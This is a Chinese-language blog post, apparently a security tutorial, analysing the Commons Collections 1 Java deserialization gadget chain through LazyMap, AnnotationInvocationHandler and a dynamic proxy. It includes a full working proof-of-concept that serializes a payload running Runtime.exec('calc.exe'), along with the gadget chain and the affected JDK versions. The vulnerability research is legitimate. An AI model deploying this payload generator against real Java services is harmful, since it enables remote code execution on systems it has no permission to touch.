Java安全之Commons Collections1分析（三）

0x00 前言

继续来分析cc链，用了前面几篇文章来铺垫了一些知识。在上篇文章里，其实是硬看代码，并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了，在上篇文章的基础上再去做一个分析。

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1. Java安全之URLDNS链

2. Java安全之Commons Collections1分析前置知识

3. Java安全之Commons Collections1分析（一）

4. Java安全之Commons Collections1分析（二）

0x01 CC链的另一种构造方式

上篇文章说到使用

LazyMap

的

get

方法也可以去触发命令执行。因为

LazyMap

的

get

方法在

这里看到

this.factory

变量会去调用

transform

方法。前面也分析了该类构造方法是一个

protected

修饰的。不可被直接new。需要使用

decorate

工厂方法去提供。那么在前面我们调用该方法并传入

innerMap

和

transformerChain

参数。

这里的innerMap是一个Map的对象，

transformerChain

是一个

ChainedTransformer

修饰过的

Transformer[]

数组。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

传入过后，

LazyMap

的

get

方法方法里面的

this.factory

为

Transformer[]

数组，这时候去调用就会执行

transform

方法，而

ChainedTransformer

的

transform

方法又会去遍历调用

Transformer[]

里面的

transform

方法，导致使用方式的方式传入的

Runtime

调用了

exec

执行了

calc.exe

弹出一个计算器。

当然在实际中，我们还需要借助其他的类去调用这个get方法。

而在

AnnotationInvocationHandler

的

invoke

就会去调用

get

方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}

这里特地标出来

Object var6 = this.memberValues.get(var4);

前面说过 构造方法传入的是

transformerChain

，

this.memberValues=transformerChain

this.memberValues

是一个

ChainedTransformer

修饰过的

Transformer[]

数组。这时候调用

get

，

get

方法调用

transform

,又回到了刚刚的话题上了。

AnnotationInvocationHandler

的

invoke

怎么去调用呢？

在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。

0x02 动态代理

关于动态代理，在这里其实还是有必要单独拿出来说一下动态代理这个机制。

动态代理的实现：

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)

• 第一个参数：People.getClass().getClassLoader()，使用handler对象的
  classloader对象来加载我们的代理对象

• 第二个参数：Person.getClass().getInterfaces()，这里为代理类提供的接口 是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法

• 第三个参数：我们将代理对象关联到上面的InvocationHandler对象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);

}

主要是来看这一段代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个

AnnotationInvocationHandler

类。而

AnnotationInvocationHandler

中实现了

InvocationHandler

接口，可以直接作为调用处理器传入。

那么在这段poc的执行中执行反序列化的时候，

AnnotationInvocationHandler

重写了

readObject()

方法，所以调用的是

AnnotationInvocationHandler

的

readObject()

方法。

readObject()

方法会去调用memberValues的

entrySet()

方法。这里的

memberValues

是构造方法传入进来的参数，我们是使用反射的方式对他进行创建传入的是

proxyMap

。

对应的代码：

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因为

proxyMap

是我们的代理对象，所以调用

proxyMap

的

entrySet()

会触发到

AnnotationInvocationHandler

的

invoke()

方法进行执行。这也是动态代理的一个特性，代理对象调用任意方法，调用处理器中的

invoke()

方法都执行一次。

执行

AnnotationInvocationHandler

的

invoke()

方法后又会调用get方法，再次回到刚刚的地方了。

LazyMap

的

get

方法方法里面的

this.factory

为

Transformer[]

数组，这时候去调用就会执行

transform

方法，而

ChainedTransformer

的

transform

方法又会去遍历调用

Transformer[]

里面的

transform

方法，导致使用方式的方式传入的

Runtime

调用了

exec

执行了

calc.exe

弹出一个计算器。

那么就刚好对应了前面标出来的一个利用链

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x04 结尾

在CC1这条链里面其实是有版本限制的，在高版本无法使用。因为

AnnotationInvocationHandler

的

readObject()

复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。